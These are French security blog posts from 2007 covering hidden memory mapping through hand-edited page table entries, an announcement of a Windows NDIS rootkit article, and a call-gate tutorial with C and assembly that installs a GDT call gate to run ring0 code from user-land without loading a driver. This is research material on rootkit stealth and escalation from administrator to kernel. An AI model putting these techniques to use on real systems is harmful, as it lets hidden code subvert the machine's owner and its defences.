pfn 7ed7 ---DA--UWEV    pfn 78e8 ----A--UREV

Et la commande !vtop :

kd> !vtop 0 7e390000
Pdi 1f8 Pti 390
7e390000 078e8000 pfn(078e8)

Plus d’aide je vous laisse lire l’aide de Windbg sur le sujet.

Revenons à notre problème. Je veux utiliser la page disponible à l’adresse virtuelle 0x7fff0000, comment faire ? Simple, ajouté un PTE au bon endroit :] exemple avec calc.exe

kd> !process 0 0
[...]
PROCESS ffba2030  SessionId: 0  Cid: 0104    Peb: 7ffd5000  ParentCid: 03c0
    DirBase: 00246000  ObjectTable: e15b1f30  HandleCount:  25.
    Image: calc.exe

kd> .process /i ffba2030
You need to continue execution (press 'g' ) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.

kd> g
Break instruction exception - code 80000003 (first chance)
nt!RtlpBreakWithStatusInstruction:
804e3592 cc              int     3

kd> db 7fff0000
7fff0000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
7fff0010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
7fff0020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
7fff0030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
7fff0040  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
7fff0050  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
7fff0060  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
7fff0070  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

On voit bien que la page 0x7fff0000 est invalide. Si on regarde son PTE on peut voir :

kd> !pte 0x7fff0000
               VA 7fff0000
PDE at   C03007FC        PTE at C01FFFC0
contains 0079C067      contains 00000000
pfn 79c ---DA--UWEV

Le PTE n’est pas présent, il n’y donc pas de pages physiques référençant cette zone mémoire. Ce que veux dire qu’un simple mov eax, dword ptr [0x7FFF000] nous générera une exception. Maintenant je regarde le PTE qui référence l’ImageBase de calc.exe

kd> !pte 1000000 (calc.exe ImageBase)
               VA 01000000
PDE at   C0300010        PTE at C0004000
contains 0024E067      contains 0C60C025
pfn 24e ---DA--UWEV    pfn c60c ----A--UREV

Le PTE est présent, normal, je copie son contenu à l’adresse virtuelle 0xC01FFFC0 qui contient la valeur du PTE pour l’adresse virtuelle 0x7fff0000.

kd> ed C01FFFC0 0C60C025

kd> db 7fff0000
7fff0000  4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00  MZ..............
7fff0010  b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00  ........@.......
7fff0020  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
7fff0030  00 00 00 00 00 00 00 00-00 00 00 00 f0 00 00 00  ................
7fff0040  0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68  ........!..L.!Th
7fff0050  69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f  is program canno
7fff0060  74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20  t be run in DOS
7fff0070  6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00  mode....$.......

Ho le joli mapping :]. J’ai mappé la page qui contient le PE header de calc.exe à la l’adresse virtuelle 0x7fff0000, c’est pas beau ca ! Juste pour être sur, j’attache olly sur le calc.exe et je le lance l’instruction MOV EAX,DWORD PTR DS:[7FFF0000], hoo pas d’exception, eax contient bien 0x00905A4D, youpilol !

Bien évident faire cette opération from scratch sous KD ce n’est pas vraiment conseillé, néanmoins ca montre que c’est possible. Je vais essayer d’implémenter cela dans mon driver et je releaserais le code plus tard.

Grâce à cette technique on a pu voir qu’il est possible de profiter de le page mémoire se trouvant à la plus haute adresse user-land. Après libre à nous d’y mettre ce qu’on veut. En le faisant de cette manière on profite du fait que les VADs (Virtual Address Descriptors) décrivant l’utilisation de l’espace mémoire de notre process ne sont pas mis à jour ce qui rend cette zone mémoire invisible aux API comme NtQueryVirtualMemory. Pour savoir que la page est présente il faut y accéder.

Pendant que j’y suis je voudrais rappeler l’existence de la technique du Shadow Walker qui consiste en gros à faire croire qu’une page est swappée sur le disque quand on tente d’y accéder. Après si c’est une lecture/écriture on dirige la requête vers une page « clean ». Je vous laisse lire l’article de phrack à ce sujet puis l’article/code d’un pote, b0l0k qui je trouve n’a pas eu le succès escompté.

J’essaierais d’y revenir plus tard dessus. En attendant j’espère que vous avez apprécié l’idée de jouer avec la page perdue !

ref :
Address Tanslation
http://book.itzero.com/read/microsoft/0507/microsoft.press.microsoft.windows.internals.fourth.edition.dec.2004.internal.fixed.ebook-ddu_html/0735619174/ch07lev1sec5.html

Intel Manuals, Windows Internals, google et autres …

14 comments novembre 12th, 2007

MISC 34 is out

OMG le dernier Misc avec mon article vient de sortir !! J’ai couru comme un sprinteur chinois en fauteuil roulant doppé aux chocapicz pour le montrer à mes parents qui au final … n’ont rien comprit :’( Encore une démonstration des effets de la brèche inter-génération au niveau des nouvelles technologies. Peut-être que dans une dimension parallèle ce genre d’effet de bord n’existe pas, je vais essayer de me construire ma propre Stargate pour avoir des zolis effets trou-de-verre spatio-temporel à la Sliders, avec un peu de chance je tomberais dans une dimension ou les hommes ne servent que de geek reproducteur.

Mais je m’égare, je m’égare, surement parce que je me suis couché à 3h du matin après une partie de ra3 all regroup bump a railé des asticots paraplégiques. Anyway, pour avoir vu le mag un peu avant sa sortie, je peux vous dire que le dossier principal « Noyau et rootkit », pour tout ceux qui aiment trafiquer leur kernel à 2h du mat, c’est de la balle !

Les articles de Julien Tinnes et de Stéphane Duverger, « Exploitation au coeur de linux » et celui de Eric Lacombe & Kad, « Les rootkits sous Linux : passé, présent et futur » sont vraiment super (je ne les ai pas encore lu en détail, je n’aime pas trop l’OS des barbus), c’est assez technique en plus, faut s’accrocher parfois. Par contre on voit bien que les linuxiens ne savent pas faire des schémas, Visio c’est bien quand même ;)

Concernant mon article, « Windows NDIS rootkit Bl4me », il présente un ensemble de techniques visant à contourner au niveau kernel les firewalls sous Windows de la manière, la plus furtive possible. J’ai essayé, pour une fois, d’être le plus clair possible dans mes explications. Même si je reconnais qu’il y a des passages hardcore qui vont vous décrocher le cerveau. Je vous laisse apprécier et j’espère retrouver vos avis sur mon blog. Une pensée pour ce pauvre j0rn qui m’a aidé a corriger une bonne partie des fautes … depuis, il est devenu accro au minigolf …

11 comments novembre 3rd, 2007

Callgate

Retour aux sources avec aujourd’hui du bon assembleur x86 et de la prog système. Je voudrais vous présenter un mécanisme peu utilisé disponible sur l’architecture x86 qu’est la CallGate. Avant de commencer je vous invite à lire le précédent post Segmentation Fault qui montre les concepts de la segmentation et les relations entre les segments et la GDT (Global Descriptor Table) sous Windows.

Toujours dans l’optique de corrompre un système, il peut être intéressant quand on est administrateur d’avoir la possibilité d’exécuter du code avec les privilèges kernel. Dans le cas ou on n’a pas envie de coder un driver pour modifier la SSDT/IDT/GDT ou toute autre structures kernel il faut jouer avec l’architecture x86.

Le CPL (Current Privilege Level) d’un thread est indiqué par ses segments, il y en a 6, CS, DS, ES, FS, GS et SS. CS est le segment de code, (celui fait référence à la partie de la mémoire contenant le code à être exécuté), SS est le segment de stack, DS, ES, FS et GS sont des segments de données. Sous Windows GS n’est pas utilisé et FS représente une zone mémoire contenant des structures importantes (TEB en user-land KPCR en kernel-land). Chaque segment selector possède la forme suivante :

Segment selector

Le RPL (Required Privilege Level) indique à quel niveau de privilège doit fonctionner le segment, le champ TI (Table Indicitor) nous indique si on doit lire le Segment Descriptor dans la LDT (Local Descriptor Table) ou la GDT. Justement en parlant de Segment Descriptor, ceux-ci sont référencés à travers le champ Index du segment. L’Index correspond à l’indice du Segment Descriptor dans la GDT qui se situe bien cachée dans le kernel-land. Pour mieux comprendre prenons les valeurs des segments user-land :

userland segments :
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000

0x1B=  11 0 11
0x23= 100 0 11
0x3B= 111 0 11

Pour les segments userland le RPL est à 3, normal c’est du ring3. Ensuite le champ Index nous donne les indices dans la GDT des Segments Descriptor. La structure d’un Segment Descriptor est la suivante :

Segment descriptor

Pour mieux comprendre prennons un exemple. Le segment CS userland indique l’indice 3 dans la GDT.

kd> !ProtMode.Descriptor GDT 3
------------------- Code Segment Descriptor --------------------
GDT base = 0x8003F000, Index = 0x03, Descriptor @ 0x8003f018
8003f018 ff ff 00 00 00 fb cf 00
Segment size is in 4KB pages, 32-bit default operand and data size
Segment is present, DPL = 3, Not system segment, Code segment
Segment is not conforming, Segment is readable, Segment is accessed
Target code segment base address = 0x00000000
Target code segment size = 0x000fffff

On voit bien qu’on a un Segment Descriptor de code possédant un DPL (Descriptor Privilege Level) de 3.

Concernant les segments kernel

kernelland segments
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000

0x08=   1 0 00b
0x10=  10 0 00b
0x23= 100 0 11b
0x30= 110 0 00b

Le segment selector CS kernel nous indique l’indice 1 dans la GDT.

kd> !ProtMode.Descriptor GDT 1
------------------- Code Segment Descriptor --------------------
GDT base = 0x8003F000, Index = 0x01, Descriptor @ 0x8003f008
8003f008 ff ff 00 00 00 9b cf 00
Segment size is in 4KB pages, 32-bit default operand and data size
Segment is present, DPL = 0, Not system segment, Code segment
Segment is not conforming, Segment is readable, Segment is accessed
Target code segment base address = 0x00000000
Target code segment size = 0x000fffff

Nickel, un code Segment Decriptor avec un DPL de 0.

Maintenant sachant tout cela, on va pouvoir rentrer dans le vif du sujet. Pour passer du ring3 ou ring0, l’architecture x86 ne laisse pas 36000 façons de possible. Actuellement, le moyen le plus utilisé pour réaliser cette opération est de faire appel à l’instruction SYSENTER, je vous laisser lire le post SYSENTER, stepping into da ring0. Il existe d’autres façons de passer en ring0, une méthode que je trouve assez peu connu est celle de la callgate.

En théorie la callgate, ce n’est pas trop difficile à comprendre. Il faut définir 3 choses :
- Le segment de code auquel on veut accéder.
- La fonction qui sera exécuté.
- Le niveau de privilège requit par l’appelant pour pourvoir utilisé la fonction.

Plus concrètement une callgate s’ajoute soit la GDT, soit dans la LDT, c’est une structure qui ressemble beaucoup à celle d’un segment descriptor, sauf que c’est un callgate descriptor (hewi!) :

Gate descriptor

Lors de l’appel, on effectue le parcourt suivant :

Callgate

C’est bien joli, tout ca, mais, comment ajoute t’on une callgate ? Evidemment, (sinon ca serait drôle) il faut être admin sur la machine et disposé du SeDebugPrivilege. Dans son article de phrack 59, CrazyLord utilisait le \Device\PhysicalMemory pour ajouter une callgate dans la GDT kernel. Perso, je n’aime pas trop cette méthode que je trouve un peu « crade », du fait qu’on manipule des adresse physiques et non virtuelles, je préfère utiliser l’API native NtSystemDebugControl avec les ControlCode DebugSysReadVirtual et DebugSysWriteVirtual qui permet de lire et d’écrire dans le kernel depuis le user-land de manière plus simple.

Pour retrouver l’emplacement de la GDT dans le kernel, on utilise l’instruction SGDT qui nous renvoie dans l’adresse indiqué une structure KGDTENTRY de la forme :

typedef struct _KGDTENTRY {
   WORD LimitLow; // size in bytes of the GDT
   WORD BaseLow;  // address of GDT (low part)
   WORD BaseHigh; // address of GDT (high part)
} KGDTENTRY, *PKGDTENTRY;

Après il suffit de faire :

KGDTENTRY GDT;
PVOID GDTBase;
[...]
__asm
{
	//sgdt
	//Stores the global descriptor table register (GDTR) into the destination operand. In legacy and
	//compatibility mode, the destination operand is 6 bytes; in 64-bit mode, it is 10 bytes.
	lea ecx, GDT
	sgdt fword ptr [ecx]
}

GDTBase=(PVOID)((GDT.BaseLow)|((ULONG)GDT.BaseHigh<<16));

On obtient ainsi la taille de la GDT et son emplacement mémoire. Après on va recopier la GDT dans un buffer userland et on va rechercher un segment descriptor dont le flag P (segment-present) est à 0, ce qui veut dire que cette entrée de la GDT est non utilisée et qu’on peut y installer notre callgate sans problème.

Il faut aussi savoir qu’il existe une GDT pour chaque core, si on veut installer une callgate on peut soit :
- Choisir une GDT précise et faire en sorte que le thread tourne sur le bon core au moment de l’appel à la callgate avec l’API SetThreadAffinityMask.

- Ne pas s’embêter et modifier toutes les GDT. Celles-ci étant normalement égales, on devrait modifier la même entrée de la GDT. Ainsi on n’aura pas à se préoccuper sur quel core s’exécutera le thread.

J’ai choisit de ne pas m’embêter et donc de modifier toutes les GDT. Maintenant, qu’on sait ou écrire dans la GDT, choisissons les valeurs de notre callgate descriptor.

En fait la callgate contient le segment selector qui référence le segment descriptor sous lequel notre code sera exécuté. Nous comme on veut tourner en ring0 on remplit se champ avec la même valeur que celle du segment CS ring0, c’est à dire 8. Sinon pour le reste c’est assez évident :

MyCallGate.offset_0_15=(WORD)((ULONG)Ring0Func&0xFFFF);
MyCallGate.selector=8; //ring0 CS descriptor
MyCallGate.param_count=0; //no parameters
MyCallGate.some_bits=0;
MyCallGate.type=12;     //32-bits callgate (• The 32-bit call gate (0Ch), which is redefined as the 64-bit call gate.)
MyCallGate.app_system=0; //system segment
MyCallGate.dpl=3;      //ring 3 code can call
MyCallGate.present=1;
MyCallGate.offset_16_31=(WORD)((ULONG)Ring0Func>>16);

Reste à savoir comment on va appeler la callgate. Dans le jeu d’instruction IA-32 il existe l’instruction Call, ok ca tout le monde connait, mais l’instruction call possède une feature moins connu qu’est le far call. Un far call est un call sur une procédure qui est situé dans un segment différent. Hop petit extrait des man intels.
If the selected descriptor is for a code segment, a far call to a code segment at the
same privilege level is performed. (If the selected code segment is at a different priv
ilege level and the code segment is non-conforming, a general-protection exception
is generated.) A far call to the same privilege level in protected mode is very similar
to one carried out in real-address or virtual-8086 mode. The target operand specifies
an absolute far address either directly with a pointer (ptr16:16 or ptr16:32) or indi-
rectly with a memory location (m16:16 or m16:32). The operand- size attribute
determines the size of the offset (16 or 32 bits) in the far address. The new code
segment selector and its descriptor are loaded into CS register; the offset from the
instruction is loaded into the EIP register.
A call gate (described in the next paragraph) can also be used to perform a far call to
a code segment at the same privilege level. Using this mechanism provides an extra
level of indirection and is the preferred method of making calls between 16-bit and
32-bit code segments.
When executing an inter-privilege-level far call, the code segment for the procedure
being called must be accessed through a call gate. The segment selector specified by
the target operand identifies the call gate. The target operand can specify the call
gate segment selector either directly with a pointer (ptr16:16 or ptr16:32) or indi-
rectly with a memory location (m16:16 or m16:32). The processor obtains the
segment selector for the new code segment and the new instruction pointer (offset)
from the call gate descriptor. (The offset from the target operand is ignored when a
call gate is used.)

Ce qu’il faut retenir c’est qu’un far call peut se définir de la façon suivante :

typedef struct _FARCALL {
	DWORD Offset;
	WORD SegSelector;
} FARCALL, *PFARCALL;

Que lors d’un far call vers une callgate seule le champ SegSelector est prit en compte, normal le pointeur sur la fonction à exécuter est définit dans le callgate descriptor. Il suffit donc de faire :

FARCALL Farcall={0};
[...]
//install un new seg desc dans les GDT de chaque core et renvoie le segment permettant d'y acceder
Farcall.SegSelector=InstallCallGate();

__asm
{
	lea ecx, Farcall
	call fword ptr [ecx]
}

Pour appeler notre jolie callgate, wOOooTz !
Pour l’exemple j’ai prit la fonction Ring0Func suivante :

void __declspec(naked) Ring0Func() {
// ring0 prolog
__asm
{
	pushad // push eax,ecx,edx,ebx,ebp,esp,esi,edi onto the stack
	pushfd // decrement stack pointer by 4 and push EFLAGS onto the stack
	cli    // disable interrupts
}
// execute your ring0 code here ...

__asm{int 3} // HEQDSHOT!

// ring0 epilog
__asm
{
	sti   // restore interrupts
	popfd // restore registers pushed by pushfd
	popad // restore registers pushed by pushad
	retf  // you may retf  if you pass arguments
}
}

Je lance mon programme et là !

Break instruction exception - code 80000003 (first chance)
0040081a cc              int     3
kd> r
eax=00000120 ebx=7ffd5000 ecx=0012ff44 edx=00000001 esi=002d0031 edi=00370031
eip=0040081a esp=f6ec7dac ebp=0012ff4c iopl=0         nv up di pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000046
0040081a cc              int     3

HEQSHOTZ ! Ma callgate à bien été appelé avec un CS de 8 (ring0) wOOotz!

Dernière chose aussi, les autres segments ont aussi été mis à jour pour être des segments kernel. Pour le segment de stack (SS) c’est indiqué par les man intels :
Stack Switching. The processor performs an automatic stack switch when a control transfer causes a change in privilege levels to occur. Switching stacks isolates more-privileged software stacks from less-privileged software stacks and provides a mechanism for saving the return pointer back to the program that initiated the call.

Donc je n’arrive pas à comprendre pour quoi les autres segments, DS, ES, FS et GS sont modifiés, si quelqu’un a une idée qu’il laisse un comment.

Au final, les callgate, c’est bien cool si on veut balancer du code ring0 sans charger de driver. Reste que je n’ai pas tout exposé dans ce post, je vous invite à aller lire les man intels sur le sujet pour mieux comprendre le fonctionnement, en tout cas ce post est une bonne intro au sujet. J’espère que ca vous à plus.

Hop le petit code de démonstration :

http://ivanlef0u.fr/repo/Callgate.rar

Sinon au passage petite pub pour la dernière rlz de mindkind (no comments!) :
http://lastcall.mindkind.org/mindkind1011.zip

Dédicace à une tapz :]
<tapz> je te met au defis de place dans ton post le mot « langouste »

refs :

Call gate
http://en.wikipedia.org/wiki/Call_gate

Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 3A System Programming Guide

http://www.intel.com/design/processor/manuals/253668.pdf

4.8.3 Call Gates

AMD64 Architecture Programmer’s Manual Volume 2 System Programming
http://www.amd.com/us-en/assets/content_type/white_papers_and_tech_docs/24593.pdf
4.11.2 Control Transfers Through Call Gates

AMD64 Architecture Programmer’s Manual Volume 3 General-Purpose and System Instructions.pdf
http://www.amd.com/us-en/assets/content_type/white_papers_and_tech_docs/24594.pdf
Call (Far)

From Russia with Rootkit
http://www.f-secure.com/weblog/archives/00000838.html

Segmentation Fault
http://www.ivanlef0u.tuxfamily.org/?p=46

GDT / LDT
http://uninformed.org/index.cgi?v=8&a=2&p=9

Adding New Software Interrupts
http://www.windowsitlibrary.com/Content/356/10/1.html

12 comments novembre 2nd, 2007


Calendar

novembre 2007
L Ma Me J V S D
« oct   déc »
 1234
567891011
12131415161718
19202122232425
2627282930  

Posts by Month

Posts by Category